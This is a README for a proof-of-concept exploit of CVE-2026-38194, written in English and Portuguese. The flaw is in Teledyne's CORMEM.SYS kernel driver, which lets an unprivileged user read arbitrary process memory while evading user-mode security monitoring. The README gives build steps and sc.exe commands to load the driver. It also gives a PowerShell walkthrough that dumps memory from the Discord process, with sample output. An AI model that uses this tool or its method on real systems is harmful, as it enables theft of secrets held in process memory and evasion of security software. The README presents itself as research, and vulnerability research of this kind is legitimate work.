
This tool demonstrates CVE-2026-38194, a vulnerability in Teledyne Digital Imaging Sapera Memory Manager (v9.0.0.0 and below). The CORMEM.SYS kernel driver exposes IOCTLs without any access control checks, allowing a standard unprivileged user to read and write arbitrary process memory directly through the kernel — bypassing Win32 API monitoring
AVISO:
Este projeto é apenas para fins educacionais e de pesquisa em segurança. Use apenas em sistemas que você possui ou para os quais tenha permissão explícita para testar. O uso não autorizado pode ser ilegal em sua jurisdição.
Esta ferramenta demonstra a CVE-2026-38194, uma vulnerabilidade no Teledyne Digital Imaging Sapera Memory Manager (v9.0.0.0 e anteriores).
O driver de kernel CORMEM.SYS expõe IOCTLs sem qualquer verificação de controle de acesso,
permitindo que um usuário comum sem privilégios leia e escreva na memória de processos arbitrários
diretamente através do kernel — contornando completamente o monitoramento da API Win32.

O acesso à memória é feito via tradução de endereço físico (page table walk) em vez de ReadProcessMemory, tornando-o transparente para a maioria dos softwares de segurança em modo usuário.
cmake -B build -A x64
cmake --build build --config Release
Se o CORMEM.SYS ainda não estiver carregado, carregue-o manualmente como administrador:
sc.exe create CORMEM binPath= "C:\path\to\CORMEM.SYS" type= kernel start= demand
sc.exe start CORMEM
Descarregue quando terminar:
sc.exe stop CORMEM
sc.exe delete CORMEM
cordrv_exploit.exe <pid> <endereço> [tamanho]
pid ID do processo (decimal)
endereço Endereço virtual a ser lido (hex)
tamanho Bytes para despejar, padrão 256, máximo 1048576
# Get the main Discord process
$proc = Get-Process -Name "Discord" | Sort-Object WorkingSet -Descending | Select-Object -First 1
$discordPid = $proc.Id
$base = $proc.Modules[0].BaseAddress
Write-Host "PID : $discordPid"
Write-Host "Base : 0x$($base.ToString('X'))"
.\build\Release\cordrv_exploit.exe $discordPid "0x$($base.ToString('X'))" 256
Saída esperada:
[*] Target PID : 16364
[*] Target address : 0x7FF6FC180000
[*] Dump size : 256 bytes
[*] Initializing CorDrv...
[+] Driver initialized.
[*] Finding system DTB...
[+] System DTB: 0x1AE000
[*] Searching EPROCESS list for PID 16364...
[+] Process DTB: 0x2CD30F000
[+] VA 0x7FF6FC180000 -> PA 0x1A98C2000
Memory dump (0x7FF6FC180000, 256 bytes):
7FF6FC180000: 4D 5A 78 00 01 00 00 00 04 00 00 00 00 00 00 00
7FF6FC180010: 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
...
[+] Done.
O 4D 5A no offset 0 confirma que o cabeçalho MZ foi lido com sucesso da RAM física.